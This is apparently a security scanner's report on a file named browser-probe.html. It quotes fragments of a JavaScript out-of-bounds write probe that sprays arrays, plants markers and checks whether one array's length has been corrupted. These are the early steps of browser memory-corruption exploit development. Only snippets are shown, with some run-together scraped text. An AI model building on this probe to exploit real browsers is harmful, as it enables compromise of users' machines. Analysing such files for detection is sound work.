browser-probe.html
Reads DOM text content
SHA-25663cde41caeb9470b6eb99c38e674fc2f371948313c8f85a1dfdbe7c837e78a99
MaleculeH(U)
Evidence
5:11… dy><pre id="log"></pre>
6<script>
7var L=document.getElementById('log');
8function out(m,c){L.innerHTML+='<span class="'+(c||'')+'">'+(m)+'</span>\n';L.scrollTop=L.scrollHeight;}
9
10out('=== OOB Offset Probe ===','info');
11out('This writes a MARKER into each spray array and scans for it from a different array.','info');
12out('');
13
⋯5 lines
51:28… ;
52
53/* Now: trigger OOB from sp[3] and see where the write lands.
54 Instead of writing the ObjectElements corruption values,
55 let's write a DETEC …
61:6… tter approach: scan sp[1] for the marker values that the OOB would write.
62 The OOB writes -3.10503470400478748708402393647E231 */
63
64out('','info'); …
70:11… length !== 0x2000000) {
71 out('[+] OOB WORKED with 4-array spray!','ok');
72} else {
73 out('sp[1] not corrupted. Scanning sp[1] for OOB marker...' …